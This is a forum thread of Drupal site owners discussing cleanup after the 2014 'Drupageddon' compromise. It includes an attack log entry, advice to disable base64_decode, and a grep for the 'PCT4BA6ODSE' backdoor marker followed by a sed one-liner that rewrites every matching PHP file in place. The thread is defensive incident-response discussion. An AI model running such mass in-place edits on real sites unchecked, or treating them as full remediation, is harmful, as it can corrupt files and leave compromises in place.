http://tamadon.net/?q=node/21

Hi,

So I've restored my site to a pre-October backup but now I need to import the content that's been added since then.

Would it be safe to export the nodes from my custom content types and import them with feeds module to the backed up site as either xml or csv?

I did full update within 7 hours on Oct. 15th and also reviewed folders + db. But, seeing this in my Drupal logs for Nov. 5th. Not sure if this indicates a successful attack or a thwarted attack:

Type	php
Date	Wednesday, November 5, 2014 - 23:36
User	Visitors
Location	http://ivegan.org/user/login/
Referrer	https://www.google.com/ (link is external)
Message	Notice: Array to string conversion in DatabaseConnection->escapeLike() (line 984 of /home4/tyme444/public_html/ivegan.org/includes/database/database.inc).
Severity	notice
Hostname	117.18.100.151
Operations

As base64 encoding is often used to mask code, it occurs to me that it would be worthwhile to disable the base64_decode function (unless you need it for something, which is probably not the case for most sites.)

i.e., in php.ini or some suitable .ini file in PHP's conf.d directory:

disable_functions = "base64_decode"

This would mean that if your server has a PHP backdoor (whether in the filesystem or database) AND that uses base64, then the backdoor will fail to function. Many (all?) of the attempts documented here seem to be using base64, so this would seem worthwhile.

I did grep -nHIirF -- base64_decode in my Drupal root and found that the following need that function:

includes/xmlrpc.inc
includes/unicode.inc
modules/simpletest/tests/system_test.module
modules/openid/openid.module

.. but if you're not using any of those (or a third party module that needs it) then disabling base64_decode should be ok.

Any thoughts?

For those seeing 'PCT4BA6ODSE' in their PHP files - I have an easy command to run for scrubbing your site out completely of these hacks (in case you do not have backups). This will not fix the underlying issue, but if you find that your PHP files have been devoured by the hackers this will at least clean up the files without damaging them:

Go to the root of your site and issue the following command:

grep -Rl PCT4BA6ODSE .

This will look through your entire site, looking for instances of either newly-creately or pre-existing files that have been hacked with this variant - files that will now allow outside attackers to bounce commands off your server. Assuming the result of this command indeed lists affected files, you can then run this additional command:

grep -Rl PCT4BA6ODSE . | xargs sed -i 's/<[?]php.*PCT4BA6ODSE_.*[?]>/<\?php \/\/ RECOVERED FILE - more info at AllAboutTodd.com \?>/g'

This will sweep through all affected files, removing the malicious code but saving the rest of the file. Make sure you have backups of your system in case something goes wrong, etc etc etc...

People have been approaching me to help save their crusty, non-archived sites that were so ancient, and with HUNDREDS of affected files, that deleting & reinstalling old versions of every PHP file would have taken me days. This simple command did the trick.

Since this thread is chotic I am posting follow-ups to this at http://allabouttodd.com/drupal/hacked-PCT4BA6ODSE

I discovered that our backup plan was a complete failure. I only have backups to about a week ago, so I have to assume they're no good to me.

Correct me if I'm wrong, but at this point my best option to ensure that the site is clean of exploits is to completely rebuild the site from scratch?

Ah crap. Commenting this is useless.

Dear Sir,
Deeply feeling UNSAFE with Drupal since the hack could COMPROMISE the ENTIRE SERVER. What to do if I'm on a Shared Hosting Server which might be hosting numerous Drupal sites created by others ? I do NOT think any Shared Hosting Providers would rebuild their SHARED SERVERS from the scratch or even having time to check through any Drupal Sites being hosted is SAFE & NOT COMPROMISED. I doubt if there're still any SAFE SHARED HOSTING on this planet after this incident. How come it COULD COMPROMISE the ENTIRE SERVER ? It seems ridiculous, sorry for being harsh, really frustrated as we might have to move to a brand new Dedicated Server for ultra safety, none of the Shared Servers are no longer guaranteed not being compromised in the world. Thanks

For all those who have had their confidence shaken in Drupal my recommendation is bin your computers and go back to using pen and paper - it's the only safe way :) Heartbleed, Shellshock, drupageddon and now windows schannel. Pity the poor so and so's who are managing drupal and IIS sites!

Anyone out there actually know of anyone who had their server taken over? Do you know the circumstances that allowed it to happen? I've started a page in the security documentation to look at ways we can protect our servers. It is a work in progress but any contributions would be welcome.

The flowchart is now up to version 9.

From all the info I've gotten it seems that you can't be 100% certain that you weren't compromised, but I've exhaustive every noticeable sign of infection and have found nothing. We applied the patch on 10/22/2014 to our site. We also have the http:BL module installed which blocks a large number of spammers.

If I know that there were others that have clean sites it can give some people a bit of hope. Also, it would be nice to find out if there is some sort of statistics to show how may Drupal sites were and were not infected.

Is it not time to do as people behind Wordpress do ?
Such bugs patch in silent automatically, and update core for security holes without noticing hackers first.
There are reasons why WP is most popular CMS, and those reasons have to be studied.

One important thing is worth mentioning here. If you come from Drupal world automatic updates can scare you to death. Actually WP allow you with one line of code to disable automatic updates, and even to fine tune what will be possible with automatic and what not.

So at the end it it only your responsibility, but dont let those that dont want this function stay in the way of whole community.